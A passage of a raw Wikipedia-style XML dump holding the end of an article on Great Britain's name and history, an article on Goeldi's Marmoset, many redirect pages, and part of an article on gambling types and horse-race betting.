Nevertheless, it is sometimes supposed that '''Great Britain''' is a translation of the [[French language|French]] term '''Grande Bretagne''', which is used in [[France]] to distinguish Britain from [[Brittany]] (in French: ''Bretagne''), which had been settled in late Roman times by Romano-Celtic refugees from [[Roman Britain]], then under attack by the [[Anglo-Saxons]]. Since the English court and aristocracy was largely French-speaking for several hundred years after the [[Norman Conquest]] of [[1066]], the French term naturally passed into English usage. The term was revived during the reign of [[James I of England|King James VI of Scotland, I of England]] to describe the island, on which co-existed two separate [[Monarchy|kingdom]]s, both at that time ruled by the same monarch. Though England and Scotland each remained legally in existence as separate countries with their own parliaments, collectively they were sometimes referred to as Great Britain. In [[1707]], an [[Act of Union 1707|Act of Union]] joined both parliaments. That Act used two different terms to describe the new all island nation, a 'United Kingdom' and the 'Kingdom of Great Britain'. However, the former term is regarded by many as having been a ''description'' of the union rather than its name at that stage. Most reference books therefore describe the all-island kingdom that existed between [[1707]] and [[1800]] as the ''Kingdom of Great Britain''.

In [[1801]], under a new [[Act of Union 1800|Act of Union]], this kingdom merged with the [[Kingdom of Ireland]], over which the monarch of Great Britain had ruled. The new kingdom was from then onwards unambiguously called the [[United Kingdom of Great Britain and Ireland]]. In [[1922]], 26 of Ireland's [[Counties of Ireland|32 counties]] gained independence to form a separate [[Irish Free State]]. The remaining truncated kingdom has therefore since then been known as the [[United Kingdom|United Kingdom of Great Britain and Northern Ireland]]. The United Kingdom now also formally includes a number of [[British overseas territory|Overseas Territories]].

==Usage and nomenclature==
===Usage of the term ''Great Britain''===
''Great Britain'' is also widely, but incorrectly, used as a synonym for the political state properly known as the [[United Kingdom]] (see below).

This common usage is technically inaccurate as the United Kingdom includes [[Northern Ireland]], in addition to the three countries that make up Great Britain, as shown by its full name &quot;the United Kingdom of Great Britain and Northern Ireland&quot;, and also because the three countries that make up Great Britain itself collectively include over 100 other islands, such as the [[Isles of Scilly]], [[St Michael's Mount]], the [[Isle of Wight]], [[Lindisfarne]], [[Lundy]], the [[Isle of Portland]], and [[Steepholm]] in England; Flatholm and [[Anglesey]] in Wales; and the Isles of [[Arran]], [[Bute]], [[Cumbrae|the Cumbraes]], the [[Inner Hebrides]] (including [[Isle of Skye|Skye]], [[Mull]], [[Islay]], [[Jura, Scotland|Jura]], [[Coll]], [[Tiree]], [[Rhum|Rum]], [[Eigg]], [[Muck]], [[Colonsay]] and [[Oronsay]]), the [[Outer Hebrides]] (principally comprising [[Lewis]], [[Harris]], [[Benbecula]], [[North Uist]], [[South Uist]] and [[Barra]]), the [[Orkney Islands]], [[Shetland Islands]], the [[Monach Islands]], the [[Flannan Islands]] and the [[St. Kilda]] group. The [[islet]] of [[Rockall]], over 180 miles west of St. Kilda, is included, though other nations dispute the British claim.

The [[Britain|British]] themselves occasionally use the abbreviation ''GB'', such as in the [[Olympic Games]] where the British team is sometimes informally referred to as 'Team GB'. The UK also uses the [[international foreign vehicle identification code]] of ''GB'', although on number plates that include European Identification the code of ''UK'' is used. The ''UK'' short-code can be confused with [[Ukraine]]. This is discussed further under [[Britain]].

There is similar situation with the terms ''[[Britain]]'' and ''British'', which are used to relate to the whole of the UK and not just the island of Great Britain. This usage is generally considered to be correct. Examples of this are &quot;British monarchs&quot;, &quot;British culture&quot; and &quot;British citizens&quot; - which would generally be considered to embrace the whole of the United Kingdom. As if this was not confusion enough, the term &quot;British&quot; also has specific historical and archaeological usage, referring to the Celtic tribes present on the island prior to and during the [[Roman Britain|Roman occupation]].

In [[rugby league]] the [[Rugby Football League|RFL]] fields its representative side under the name [[Great Britain national rugby league team|Great Britain]].

===Nomenclature===
The name ''Britain'' is derived from the name ''Britannia'', used by the Romans from ''circa'' [[55 BC]]. The etymology of this term has been the subject of (sometimes fanciful) speculation, but is generally thought to derive from a Celtic word, ''Pritani'', &quot;painted&quot;, a reference to the inhabitants of the islands' use of body-paint and tattoos (see [[Britain]] for further discussion of etymology).

In [[Geoffrey of Monmouth]]'s ''[[Historia Regum Britanniae]]'' (''circa'' [[1136]]), the island of Great Britain was referred to as ''Britannia maior'' (&quot;Greater Britain&quot;), to distinguish it from ''Britannia minor'' (&quot;Lesser Britain&quot;), the Gaulish region which approximates to modern [[Brittany]]. The term &quot;Bretayne the grete&quot; was used by chroniclers as early as [[1338]], but it was not used officially until [[King James I]] proclaimed himself &quot;King of Great Britain&quot; on [[20 October]] [[1604]] to avoid the more cumbersome title &quot;King of England and Scotland&quot;.

==Territories associated with Great Britain==
*[[Kingdom of England]]
*[[History of Scotland|Kingdom of Scotland]]
*[[Wales|Wales]]

==Other lands of the archipelago==
* [[Ireland]]
** [[Republic of Ireland]]
** [[Northern Ireland]]
* [[Isle of Man]]
* [[Channel Islands]]

==See also==
* [[United Kingdom]]
* [[UK topics]]
* [[British Isles]]
* [[Britain]]
* [[History of Britain]]
* [[History of England]]
* [[History of Scotland]]
* [[History of Wales]]
* [[British Empire]]
* [[Commonwealth of Nations]] formerly called the British Commonwealth
* [[Laws in Wales Acts 1535-1542]] merging Kingdom of England and [[Principality]] of Wales
* [[Act of Union 1707]] merging Scotland and England to form Great Britain
* [[Act of Union 1800]] merging Great Britain and Ireland to form the United Kingdom
* [[Anglo-Irish Treaty]] facilitating the Irish Free State's exit from the United Kingdom
* [[SS Great Britain|SS ''Great Britain'']],
* [[.gb]] ccTLD
* [[New Britain]] an island of Papua New Guinea

==References==
{{unsourced}}

==External links==
* [http://www.bbc.co.uk/coast Coast] &amp;ndash; the BBC explores the coast of Great Britain
* [http://www.know-britain.com/general/great_britain.html Know Britain] &amp;ndash; one explanation of the terms &quot;Great Britain&quot;, &quot;United Kingdom&quot; and so on
* [http://www.ordnancesurvey.co.uk/freegb/index.htm#maps Administrative map of Great Britain] &amp;ndash; from the [[Ordnance Survey]]; various formats
* [http://www.bbc.co.uk/history/state/nations/ BBC Nations]
* [http://www.macs.hw.ac.uk/britishisles/ The British Isles]

[[Category:British Isles]]
[[Category:Geography of the United Kingdom]]
[[Category:Islands in the British Isles]]
[[Category:Islands]]
[[Category:Island nations]]

[[af:Groot-Brittanje]]
[[ast:Gran Bretaña]]
[[bg:Великобритания]]
[[ca:Gran Bretanya]]
[[cs:Velká Británie (ostrov)]]
[[cy:Prydain]]
[[da:Storbritannien]]
[[de:Großbritannien (Insel)]]
[[et:Suurbritannia saar]]
[[es:Gran Bretaña]]
[[eo:Granda Britio (insulo)]]
[[fr:Grande-Bretagne]]
[[ga:An Bhreatain]]
[[ko:그레이트브리튼 섬]]
[[is:Stóra-Bretland]]
[[it:Gran Bretagna]]
[[kw:Breten Veur]]
[[lt:Didžioji Britanija]]
[[nl:Groot-Brittannië]]
[[nds:Grootbritannien]]
[[ja:グレートブリテン島]]
[[mk:Велика Британија]]
[[no:Storbritannia (øy)]]
[[nn:Øya Storbritannia]]
[[pl:Wielka Brytania (wyspa)]]
[[pt:Grã-Bretanha]]
[[ro:Marea Britanie]]
[[rm:Gronda Britannia]]
[[simple:Great Britain]]
[[sl:Velika Britanija]]
[[fi:Iso-Britannia (saari)]]
[[sv:Storbritannien (ö)]]
[[tl:Great Britain]]
[[tr:Büyük Britanya]]
[[vi:Vương quốc Anh]]
[[vi:Đảo Anh]]
[[zh:大不列顛島]]</text>
    </revision>
  </page>
  <page>
    <title>Goeldi's Marmoset</title>
    <id>11894</id>
    <revision>
      <id>31811230</id>
      <timestamp>2005-12-18T04:21:48Z</timestamp>
      <contributor>
        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{Taxobox | color = pink
| image = Callimico goeldi smithsonian.jpg
| image_width = 200px
| name = Goeldi's Marmoset
| status = {{StatusNearConcern}}
| regnum = [[Animal]]ia
| phylum = [[Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Cebidae]]
| subfamilia = [[Callitrichinae]]
| genus = '''''Callimico'''''
| genus_authority = [[Alipio de Miranda Ribeiro|Miranda Ribeiro]], [[1922]]
| species = '''''C. goeldii'''''
| binomial = ''Callimico goeldii''
| binomial_authority = [[Oldfield Thomas|Thomas]], [[1904]]
}}

'''Goeldi's Marmoset''' or '''Goeldi's Monkey''' (''Callimico goeldii'') is a small, [[South America|South American]] [[New World monkey]] that lives in the upper [[Amazon Basin]] region of [[Bolivia]], [[Brazil]], [[Colombia]], [[Ecuador]], and [[Peru]].  It is the only species classified in the genus '''''Callimico''''', and the monkeys are sometimes referred to as &quot;callimicos&quot;. 

Goeldi's Marmosets are blackish or blackish-brown in color.  Their bodies are around 8 to 9 inches long (about 22 cm), and their tails are 10-12 inches long (25-30 cm).

Goeldi's Marmoset was first described in 1904, making it one of the last monkey genera to be described.  In older classification schemes it was sometimes placed in its own family '''Callimiconidae''' and sometimes in the (now abandoned) family [[Callitrichidae]], the family containing [[marmoset]]s and [[tamarin]]s. More recently, it has been classified into [[Cebidae]], which now contains all the marmosets and tamarins, as well as the [[capuchin]]s and [[squirrel monkey]]s.

Females reach sexual maturity at 8.5 months, males at 16.5 months.  The gestation period lasts from 140 to 180 days.  Unlike other New World monkeys, they have the capacity to give birth twice a year.  The mother carries a single baby monkey per pregnancy, whereas most other species in the family Cebidae usually give birth to twins.  The infant is weaned after about 65 days.  The life expectancy in captivity is about 10 years.

[[Image:Springtamarin.jpg|250px|left|thumb]] 
Goeldi's Marmosets prefer to forage in dense scrubby undergrowth; perhaps because of this, they are rare, with groups living in separate patches of suitable habitat, separated by miles of unsuitable flora. In the wet season, their diet includes fruit, insects, spiders, lizards, frogs, and snakes.  In the dry season, they feed on [[fungi]], the only tropical primates known to depend on this source of food.  They live in small social groups (approximately six individuals) that stay within a few feet of one another most of the time, staying in contact via high-pitched calls.


The species takes its name from its discoverer, the [[Switzerland|Swiss]] naturalist [[Emil August Goeldi]].

==External links==
{{Wikispecies|Callimico}}
{{Wikispecies|Callimico goeldii}}
*[http://www.eurekalert.org/pub_releases/2004-06/uow-mb061504.php Press release on recent research] on Goeldi's Monkey by scientists at the [[University of Washington]]
*[http://pin.primate.wisc.edu/factsheets/links/callimico Primate Info Net ''Callimico'' Factsheets]

[[Category:New World monkeys]]

[[de:Springtamarin]]
[[fr:Tamarin de Goeldi]]
[[nl:Springtamarin]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/GPL</title>
    <id>11895</id>
    <revision>
      <id>15909606</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[GNU_General_Public_License]]

:''See also :'' [[GNU]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/FDL</title>
    <id>11896</id>
    <revision>
      <id>15909607</id>
      <timestamp>2002-07-21T03:06:04Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>fixing blank link</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Free Documentation License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/HURD</title>
    <id>11897</id>
    <revision>
      <id>15909608</id>
      <timestamp>2004-05-14T00:38:25Z</timestamp>
      <contributor>
        <username>Angela</username>
        <id>8551</id>
      </contributor>
      <minor />
      <comment>fix redir</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Hurd]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/Hurd</title>
    <id>11898</id>
    <revision>
      <id>28215584</id>
      <timestamp>2005-11-13T16:00:34Z</timestamp>
      <contributor>
        <username>Gronky</username>
        <id>87356</id>
      </contributor>
      <comment>merged into [[GNU]] (See Talk pages) #redirect [[GNU]]</comment>
      <text xml:space="preserve">#redirect [[GNU]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/Emacs</title>
    <id>11899</id>
    <revision>
      <id>15909610</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Emacs]]

:''See also :'' [[GNU]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/GCC</title>
    <id>11900</id>
    <revision>
      <id>15909611</id>
      <timestamp>2002-12-25T00:55:49Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[GNU Compiler Collection]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/LGPL</title>
    <id>11901</id>
    <revision>
      <id>15909612</id>
      <timestamp>2002-10-05T19:51:52Z</timestamp>
      <contributor>
        <username>CYD</username>
        <id>45</id>
      </contributor>
      <comment>simply redirect to LGPL</comment>
      <text xml:space="preserve">#REDIRECT [[GNU Lesser General Public License]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/Linux</title>
    <id>11902</id>
    <revision>
      <id>35981436</id>
      <timestamp>2006-01-20T18:10:37Z</timestamp>
      <contributor>
        <username>Stevenj</username>
        <id>7918</id>
      </contributor>
      <comment>rv copy-and-paste from [[Linux]]</comment>
      <text xml:space="preserve">#REDIRECT [[Linux]]</text>
    </revision>
  </page>
  <page>
    <title>GNU/LinuxTalk</title>
    <id>11904</id>
    <revision>
      <id>31997252</id>
      <timestamp>2005-12-19T19:14:31Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing [[Special:DoubleRedirects|double-redirect]] -&quot;Talk:GNU/Linux naming debate&quot; +&quot;Talk:GNU/Linux naming controversy&quot;</comment>
      <text xml:space="preserve">#REDIRECT [[Talk:GNU/Linux naming controversy]]</text>
    </revision>
  </page>
  <page>
    <title>Grunge Music</title>
    <id>11905</id>
    <revision>
      <id>15909616</id>
      <timestamp>2002-05-06T21:59:19Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>#redirect [[Grunge music]]</comment>
      <text xml:space="preserve">#redirect [[Grunge music]]</text>
    </revision>
  </page>
  <page>
    <title>GrungE</title>
    <id>11906</id>
    <revision>
      <id>15909617</id>
      <timestamp>2002-07-16T01:42:11Z</timestamp>
      <contributor>
        <username>Karen Johnson</username>
        <id>1300</id>
      </contributor>
      <minor />
      <comment>fix redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Grunge music]]
</text>
    </revision>
  </page>
  <page>
    <title>Games/Cards</title>
    <id>11907</id>
    <revision>
      <id>15909618</id>
      <timestamp>2002-10-09T16:29:00Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Card game]]</comment>
      <text xml:space="preserve">#REDIRECT [[Card game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Board</title>
    <id>11908</id>
    <revision>
      <id>15909619</id>
      <timestamp>2002-10-10T10:09:20Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>-See also</comment>
      <text xml:space="preserve">#REDIRECT [[Board game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Letter</title>
    <id>11909</id>
    <revision>
      <id>15909620</id>
      <timestamp>2002-10-09T16:29:34Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[letter game]]</comment>
      <text xml:space="preserve">#REDIRECT [[letter game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Casino</title>
    <id>11910</id>
    <revision>
      <id>15909621</id>
      <timestamp>2002-10-10T10:09:32Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>-See also</comment>
      <text xml:space="preserve">#REDIRECT [[Casino game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/RolePlaying</title>
    <id>11911</id>
    <revision>
      <id>15909622</id>
      <timestamp>2002-10-10T10:09:44Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>-See also</comment>
      <text xml:space="preserve">#REDIRECT [[Role-playing game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/TradingCard</title>
    <id>11912</id>
    <revision>
      <id>15909623</id>
      <timestamp>2004-06-16T23:58:43Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Collectible card game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/TableTop</title>
    <id>11913</id>
    <revision>
      <id>15909624</id>
      <timestamp>2004-08-13T19:52:45Z</timestamp>
      <contributor>
        <username>Timwi</username>
        <id>13051</id>
      </contributor>
      <minor />
      <comment>fix double-redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Tabletop game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Computer</title>
    <id>11914</id>
    <revision>
      <id>25701686</id>
      <timestamp>2005-10-17T01:20:54Z</timestamp>
      <contributor>
        <username>Andrevan</username>
        <id>13732</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Chaosfeary|Chaosfeary]] to last version by Spangineer</comment>
      <text xml:space="preserve">#REDIRECT [[Computer and video games]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Tile based</title>
    <id>11915</id>
    <revision>
      <id>15909626</id>
      <timestamp>2002-10-10T10:10:06Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
      </contributor>
      <minor />
      <comment>-See also</comment>
      <text xml:space="preserve">#REDIRECT [[Tile-based game]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Die Siedler von Catan</title>
    <id>11916</id>
    <revision>
      <id>15909627</id>
      <timestamp>2003-05-25T19:24:16Z</timestamp>
      <contributor>
        <username>Camembert</username>
        <id>3113</id>
      </contributor>
      <minor />
      <comment>fix double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Settlers of Catan]]</text>
    </revision>
  </page>
  <page>
    <title>Games/video games</title>
    <id>11917</id>
    <revision>
      <id>25701661</id>
      <timestamp>2005-10-17T01:20:33Z</timestamp>
      <contributor>
        <username>Andrevan</username>
        <id>13732</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Chaosfeary|Chaosfeary]] to last version by Spangineer</comment>
      <text xml:space="preserve">#REDIRECT [[Computer and video games]]</text>
    </revision>
  </page>
  <page>
    <title>Games/Hex</title>
    <id>11918</id>
    <revision>
      <id>15909629</id>
      <timestamp>2003-09-13T13:26:48Z</timestamp>
      <contributor>
        <username>Evercat</username>
        <id>10109</id>
      </contributor>
      <comment>fix redir.</comment>
      <text xml:space="preserve">#REDIRECT [[Hex (board game)]]</text>
    </revision>
  </page>
  <page>
    <title>Great Man Theory</title>
    <id>11919</id>
    <revision>
      <id>15909630</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Great man theory]]
</text>
    </revision>
  </page>
  <page>
    <title>Gambling</title>
    <id>11921</id>
    <revision>
      <id>42109988</id>
      <timestamp>2006-03-03T22:07:21Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/159.191.12.24|159.191.12.24]] ([[User talk:159.191.12.24|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">:''This article is about wagering. For other senses of the word 'gamble', see [[gamble (disambiguation)]].''

Gambling has had many different meanings depending on the cultural and historical context in which it is used.  Currently, in western society, it generally has an economic definition and meaning and typically refers to &quot;wagering money or something of material value on something with an uncertain outcome in hope of winning additional money or material goods&quot;.  Furthermore:  
*the outcome of the wager is typically evident within a short period of time
*the primary intent of the bet is to win additional money or material goods

This definition of gambling usually excludes:  
*emotional or physical risk-taking where what is being risked is not money or material goods (e.g., skydiving, running for office, asking someone for a date, etc.)
*buying insurance, as the primary intent of the purchase is to protect against loss, rather than to collect or win
*all forms of long-term 'investment' (stock market, real estate) with positive expected returns and economic utility
*starting a new business, as time and effort are also being wagered and the outcome is not determined in a short period of time
*situations where the possibility of winning additional money or material goods is a secondary or incidental reason for the wager/purchase (e.g., buying a raffle ticket to support a worthy cause)

Gambling varies on four dimensions:
# What is being wagered (money or material goods).
# How much is being wagered.
# The predictability of the event.  For some things such as lotteries, slot machines and bingo, the results are random and unpredictable.  No skill or system will give you any advantage.  For other things such as sports betting and horse racing there is some predictability to the outcome.  In this situation greater knowledge and skill gives a person an advantage over other bettors.
# The 'expected value', the positive or negative mathematical expectation.

==Legal aspects==

Because religious authorities generally frown on gambling to some extent, and because of various perceived [[social cost]]s, most legal jurisdictions censure gambling to some extent. Islamic nations officially prohibit gambling; most other countries [[regulation | regulate]] it. In particular, in the majority of circumstances - and perhaps all  cases - the law does not recognise wagers as [[contract]]s, and views any consequent losses as ''debts of honour'', unenforceable by [[legal process]]. Thus [[organized crime]] often takes over the enforcement of large gambling debts, sometimes using violent methods. 

Because contracts of [[insurance]] have many features in common with wagers, legislation generally makes a distinction, typically defining any agreement in which either one of the parties has an interest in the outcome bet upon, beyond the specific financial terms, as a contract of insurance. Thus a bet on whether one's house will burn down becomes a contract of insurance, as one has an independent interest in the security of one's home.

Furthermore, many jurisdictions, local as well as national, either ban or heavily control (''license'') gambling. Such regulation generally leads to [[Tourism#Special_forms_of_tourism|gambling tourism]] and illegal gambling - the latter often under the auspices of [[organized crime]]. Such involvement frequently brings the activity under even more severe moral censure and leads to calls for greater regulation. Conversely, the close involvement of governments (through regulation and gambling taxation) has led to a close connection between many governments and gambling organisations, where legal gambling provides much government revenue. Note [[Monaco]].

There is generally legislation requesting that the odds in gambling machines are fair (i.e. [[statistical randomness|statistically random]]), to prevent manufacturers from making some high-payoff results impossible (since these have very low probability, this can quite easily pass unnoticed).

==Psychological aspects==
Though many participate in gambling as a form of [[recreation]] or even as a means to gain an income, gambling, like any behavior which involves variation in [[neurochemistry|brain chemistry]], can become a [[psychologically addictive]] and harmful behavior in some people. [[Reinforcement]] phenomena may also make gamblers persist in gambling even after repeated losses. Because of the negative connotations of the word &quot;gambling&quot;, [[casino]]s and [[race track]]s often use the [[euphemism]] &quot;[[gaming]]&quot; to describe the recreational gambling activities they offer.  

The Russian writer [[Fyodor Dostoevsky|Dostoevsky]] portrays in his short story ''[[The Gambler (novella)|The Gambler]]'' the psychological implications of gambling and how gambling can affect gamblers.  He also associates gambling and the idea of &quot;[[get rich quick|getting rich quick]]&quot;, suggesting that Russians may have a particular affinity for gambling. Dostoevsky shows the effect of betting money for the chance of gaining more in 19th-century Europe.  The association between Russians and gambling has fed legends of the origins of [[Russian roulette]].

===Help for addictive gamblers===
Many organizations exist to help individuals with a gambling [[addiction]]. They include [[Gamblers Anonymous]] and [http://www.ghsouthern.org.au Gambler's Help](Australia).

==Types of gambling==

===Casino games===
====&quot;Beatable&quot; casino games====
With proper strategy, a smart player can create a positive mathematical expectation.

*[[Poker]] (Also recognised as a [[game of skill]])
*[[Blackjack]] -- with [[card counting]]
*[[Video poker]] -- with proper [[pay table]] and/or [[progressive jackpot]]
*[[Pai_gow_poker|Pai Gow Poker]] and [[Pai Gow|Tiles]] -- player-dealt
*[[Sports betting]]
*[[Horse racing]] ([[parimutuel]])
*[[Slot machine]]s -- only linked, multi-player jackpots whose prizes have reached a certain point

====&quot;Unbeatable&quot; casino games====
These have a negative expectation, players as a group will lose in the long run (unless they cheat).
*[[Baccarat]]
*[[Craps]]
*[[Roulette]] (unless physical prediction is used)
*[[Keno]]
*[[Casino war]]
*[[Faro (card-game)|Faro]] (All but extinct)
*[[Pachinko]]
*[[Sic bo|Sic Bo]]
*[[Let it ride|Let It Ride]]
*[[3-card Poker]]
*[[4-card poker]]
*[[Red dog|Red Dog]]
*[[Pyramid Poker]]
*[[Caribbean Stud Poker]]
*[[Spanish 21]] -- without counting
*[[Texas Hold'em Bonus Poker]]

===Non-casino gambling games===
''Some of these are played recreationally without stakes''
*[[Lottery]]
*[[Mahjong]]
*[[Fan-Tan]]
*Dice-based
**[[Backgammon]]
**[[Liar's dice]]
**[[Passe-dix]]
**[[Hazard (game)|Hazard]]
**[[Threes]]
**[[Pig (dice)| Pig]]
**[[Mexico (game) | Mexico]]
*[[Card game]]s
**[[Liars poker|Liar's poker]]
**[[Bridge game|Bridge]]
**[[Basset]]
**[[Lansquenet]]
**[[Piquet]]
**[[Put option|Put]]
*[[Coin]]-tossing
**[[Head and Tail]]
**[[Two-up]] (Australian casinos offer versions of two-up)
*[[Confidence trick]]s
**[[Three card monte]]
**The [[shell game]]
*[[Carnival Games]]
**The [[Razzle (game)|Razzle]]
**[[Hanky Pank]]
**[[Penny Falls]]
**[[Six-Cat]]
**[[The Swinger]]
**The [[Push-up Bottle]]
**The [[Nail Joint]]
*Con Games (in bars)
**[[Put and Take]]
**[[The Smack]]
**The [[Drunken Mitt]]

===Fixed-odds gambling===
[[Fixed-odds gambling]] and [[Parimutuel betting]] frequently occur at or on the following kinds of events:
*[[Horse-racing|Horse racing]] (see below)
*[[Greyhound racing]]
*[[Jai alai]]
*[[Football games |Football]] matches (particularly on [[Soccer|Association]] and [[American football]])
*[[Golf]]
*[[Tennis]]
*[[Cricket]]
*[[Baseball]]
*[[Basketball]]
*[[Ice hockey]]
*[[Rugby football|Rugby]] (League and Union)
*[[Snooker]]
*[[Motor Racing]]
*[[Boxing]]
*[[Darts]]

In addition many [[bookmaker]]s offer fixed odds on a number of non-sports related outcomes, for example the direction and extent of movement of various [[stock market index | financial indices]], whether [[snow]] will fall on [[Christmas Day]] in a given area, the winner of [[television]] competitions such as ''[[Big Brother television program|Big Brother]]'', election results [http://www.abc.net.au/am/content/2004/s1229517.htm] , and so forth.  Interactive [[prediction market]]s also offer trading on these outcomes, with &quot;shares&quot; of results trading on an open market.

See ''Sports betting'' below.

===Gambling on horse races===
One of the most widespread forms of gambling involves betting on [[horse racing | horse race]]s, most commonly on races between [[thoroughbred horse|thoroughbred]]s or between [[standardbred horse|standardbred]]s.

Wagering may take place through [[parimutuel betting|parimutuel]] pools; or [[bookmaker]]s may take bets personally. Parimutuel wagers pay off at prices determined by support in the wagering pools, while bookmakers pay off either at the odds offered at the time of accepting the bet; or at the median odds offered by track bookmakers at the time the race started.

In [[Canada]] and the [[United States]], the most common types of bet on horse races include:
*'''win''' &amp;#8211; to succeed the bettor must pick the horse which wins the race.
*'''place''' &amp;#8211; the bettor must pick a horse which finishes either first or second.
*'''show''' &amp;#8211; the bettor must pick a horse which finishes first, second, or third.
*'''exacta''', '''perfecta''', or '''exactor''' &amp;#8211;the bettor must pick the two horses which finish first and second and specify which will finish first
*'''quinella''' or '''quiniela''' &amp;#8211; the bettor must pick the two horses which finish first and second, but need not specify which will finish first.
*'''[[trifecta]]''' or '''triactor''' &amp;#8211; the bettor must pick the three horses which finish first, second, and third and specify which will finish first, second and third.
*'''superfecta''' &amp;#8211; the bettor must pick the four horses which finish first, second, third and fourth, and specify which will finish first, second, third and fourth.
*'''double''' &amp;#8211; the bettor must pick the winners of two successive races; most race tracks in Canada and the United States take double wagers on the first two races on the program (the '''daily double''') and on the last two (the '''late double''').
*'''triple''' &amp;#8211; the bettor must pick the winners of three successive races; many tracks offer '''rolling triples''', or triples on any three successive races on the program. Also called '''pick three.'''
*'''sweep''' &amp;#8211; the bettor must pick the winners of four or more successive races. In the US, this is usually called '''pick four''' and '''pick six,''' with the latter paying out a consolation return to bettors correctly selecting five winners out of six races, and with &quot;rollover&quot; jackpots accumulating each day until one or more bettors correctly picks all six winners.

Win, place and show wagers class as '''straight bets''', and the remaining wagers as '''exotic bets'''. Bettors usually make multiple wagers on exotic bets. A '''box''' consists of a multiple wager in which punters bet all possible combinations of a group of horses in the same race. A '''key''' involves making a multiple wager with a single horse in one race bet in one position with all possible combinations of other selected horses in a single race. A '''wheel''' consists of betting all horses in one race of a bet involving two or more races. For example a 1-all daily double wheel bets the 1-horse in the first race with every horse in the second.

People making straight bets commonly employ the strategy of an 'each way' bet. Here the bettor picks a horse and bets it will win, and makes an additional bet that it will show, so that theoretically if the horse runs third it will at least pay back the two bets. The Canadian and American equivalent is the bet across (short for ''across the board''): the bettor bets equal sums on the horse to win, place, and show.

In Canada and the United States punters make exotic wagers on horses running at the same track on the same program. In the [[United Kingdom]] bookmakers offer exotic wagers on horses at different tracks. Probably the '''Yankee''' occurs most commonly: in this the bettor tries to pick the winner of four races. This bet also includes subsidiary wagers on smaller combinations of the chosen horses; for example, if only two of the four horses win, the bettor still collects for their double. A '''Trixie''' requires trying to pick three winners, and a '''Canadian''' or '''Super Yankee''' trying to pick five; these also include subsidiary bets. The term '''nap''' identifies the best bet of the day.

A '''parlay''' (US) or '''accumulator''' (UK) consists of a series of bets in which bettors stake the winnings from one race on the next in order until either the bettor loses or the series completes successfully.

(Similarly, [[greyhound]] racing offers a popular betting alternative to horse racing in many countries.)

===Sports betting===

Betting on team sports has become an important [[service industry]] in many countries. For example, millions of [[United Kingdom|Britons]] play the [[football pools]] every week. At sports betting, players may beat the bank.

Most jurisdictions in Canada and the United States regard sports betting as illegal ([[Nevada]] offers full sports betting and the [[Canadian provinces]] offer [[Sport Select]] - government-run sports parlay betting). However, millions engage in sports betting despite its illegality. 

In Canada and the United States the most popular sports bets include:
* against the spread - the bettor wagers either that the favoured team will win by a specified number of points or that it will not. ''Giving the points'' involves betting the favourite, and ''taking the points'' means betting the underdog. See [[Spread betting|point spread]]. A team covers the spread if it wins the game with the score modified by the spread. If Dallas and Washington are playing and the spread is (Dallas -7), then Dallas has to win by at least 8 points to cover. Half-point spreads are also possible and the spread may change.
